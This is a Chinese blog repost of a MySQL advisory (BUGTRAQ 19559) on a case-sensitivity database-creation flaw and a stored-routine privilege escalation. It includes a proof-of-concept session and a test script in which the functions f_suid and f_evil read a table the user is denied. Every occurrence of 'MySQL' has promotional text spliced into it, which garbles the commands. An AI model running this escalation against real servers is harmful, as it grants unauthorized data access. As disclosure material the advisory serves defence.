当前位置:首页 > 系统运维 > 正文内容

MySQL权限提升与安全限制问题探讨

a8116255316年前 (2010-05-20)系统运维8

以下的文章主要讲述的是MySQL权限提升与安全限制绕过漏洞的实际应用,我前几天在相关网站看见MySQL权限提升与安全限制绕过漏洞的实际应用的资料,觉得挺好,今天就拿出来供大家分享。

受影响系统:

MySQL(和PHP搭配之更佳组合) AB MySQL(和PHP搭配之更佳组合) <= 5.1.10

描述:

BUGTRAQ ID: 19559

MySQL(和PHP搭配之更佳组合)是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

在MySQL(和PHP搭配之更佳组合)上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL(和PHP搭配之更佳组合)的文件系统支持区分大小写的文件名。

此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

测试 *** :

1、创建数据库

$ MySQL(和PHP搭配之更佳组合) -h my.MySQL(和PHP搭配之更佳组合).server -u sample -p -A sample  Enter password:   Welcome to the MySQL(和PHP搭配之更佳组合) monitor. Commands end with ; or g.  Your MySQL(和PHP搭配之更佳组合) connection id is 263935 to server version: 4.1.16-standard  MySQL(和PHP搭配之更佳组合)> create database another;  ERROR 1044: access denied for user 'sample'@'%' to database 'another'  MySQL(和PHP搭配之更佳组合)> create database sAmple;   Query OK, 1 row affected (0.00 sec)  

2、权限提升

--disable_warnings  drop database if exists MySQL(和PHP搭配之更佳组合)test1;  drop database if exists MySQL(和PHP搭配之更佳组合)test2;  drop function if exists f_suid;  --enable_warnings  # Prepare playground  create database MySQL(和PHP搭配之更佳组合)test1;  create database MySQL(和PHP搭配之更佳组合)test2;  create user malory@localhost;  grant all privileges on MySQL(和PHP搭配之更佳组合)test1.* to malory@localhost;  # Create harmless (but SUID!) function  create function f_suid(i int) returns int return 0;  grant execute on function test.f_suid to malory@localhost;  use MySQL(和PHP搭配之更佳组合)test2;  # Create table in which malory@localhost will be interested but to which  # he won't have any access  create table t1 (i int);  connect (malcon, localhost, malory,,MySQL(和PHP搭配之更佳组合)test1);  # Correct malory@localhost don't have access to MySQL(和PHP搭配之更佳组合)test2.t1  --error ER_TABLEACCESS_DENIED_ERROR  select * from MySQL(和PHP搭配之更佳组合)test2.t1;  # Create function which will allow to exploit security hole  delimiter |;  create function f_evil ()  returns int  sql security invoker  begin  set @a:current_user();  set @b:= (select count(*) from MySQL(和PHP搭配之更佳组合)test2.t1);  return 0;  end|  delimiter ;|  # Again correct  --error ER_TABLEACCESS_DENIED_ERROR  select f_evil();  select @a, @b;  # Oops!!! it seems that f_evil() is executed in the context of  # f_suid() definer, so malory@locahost gets all info that he wants  select test.f_suid(f_evil());  select @a, @b;  connection default;  drop user malory@localhost;  drop database MySQL(和PHP搭配之更佳组合)test1;  drop database MySQL(和PHP搭配之更佳组合)test2;  

建议:

厂商补丁:MySQL(和PHP搭配之更佳组合) AB,目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载。

扫描二维码推送至手机访问。

版权声明:本文由2345好导航站长资讯发布,如需转载请注明出处。

本文链接:http://2345hao.cn/blog/index.php/post/20472.html

分享给朋友:

“MySQL权限提升与安全限制问题探讨” 的相关文章

windows 7鼠标停顿怎么办?windows 7 usb鼠标停顿的原因以及解决

windows 7鼠标停顿怎么办?windows 7 usb鼠标停顿的原因以及解决

很多使用Windows 7系统的朋友都想小编反应,假如暂停使用电脑,鼠标会出现停顿现象,这是怎么回事呢 该怎么解决呢 下面就和小编一起去看下Windows 7 usb鼠标停顿的解决方法吧。 由于Windows 7系统中有一项USB选择性暂停造成的。这项设置主要为了节电,当他检测到用户没有对系统进行...

Windows7开机后出现黑一下屏性能降低

Windows7开机后出现黑一下屏性能降低

打开IE浏览器的时候、聊QQ的时候、玩游戏的时候… … 这到底是谁惹的祸呢? 很多人都知道Windows 7桌面特效全部开启会使系统性能降低,那到底是哪个特效导致的这一情况呢? 解决办法: 右键计算机,高级系统设置-性能-设置-关闭”任务栏和开始菜单使用动画“和”最大化和最小化动态显示窗口“...

windows 7查看电脑近期使用情况确定有没有被他人使用

windows 7查看电脑近期使用情况确定有没有被他人使用

我一个朋友最近装装了Windows 7,他总感觉有人用了他的电脑,但是一直不确定,他想知道有没有人动用他的电脑,问我有没有办法 我说设置一下就行了: 启动Windows 7,在搜索栏中输入编辑组,马上就搜索到了编辑组策略,点击即可启动程序编辑组策略。依次展开组策略左侧树形列表的计算机配置/管理模...

各个都很实用:windows 7系统电脑日常小技巧

各个都很实用:windows 7系统电脑日常小技巧

在使用Windows 7的时候很多用户对于系统的很多功能并不是很了解,也正是因为这样的不了解导致很多用户在使用Win 之后并不能体验Windows 7的功能便携和强大功能,导致很多用户对于Windows 7的认识还是比较模糊,不过为了让更多的朋友了解Windows 7的特点和便携应用,今天就为大家汇...

Windows7截图出现黑屏导致截的图黑呼呼一片

Windows7截图出现黑屏导致截的图黑呼呼一片

最近一些Windows 7用户反馈说,自己在截屏的时候出现黑屏,导致自己截的图黑呼呼一片。这个问题该怎么解决?今天小编就为大家提供一个解决的方法。 步骤 1 在windows xp时代,很多用户都曾被视频截图后的“全黑图片”困扰。对此,在解决本地播放时出现的截图变黑问题,一般有两个方法可以用来解...

ubuntu14.04打开个几个应用窗口最小化后怎么切换呢?

ubuntu14.04打开个几个应用窗口最小化后怎么切换呢?

ubuntu14.04应用窗口列表在哪里?在ubuntu下打开个几个应用窗口最小化后怎么切换呢,应用窗口列表在哪里呢? 1、多打开几个chrome浏览器窗口。 2、然后都做最小化处理。 3、现在我们在桌面左边的面板上找到"左右两边有小白点"的chrome浏览器应用图标,这就是chr...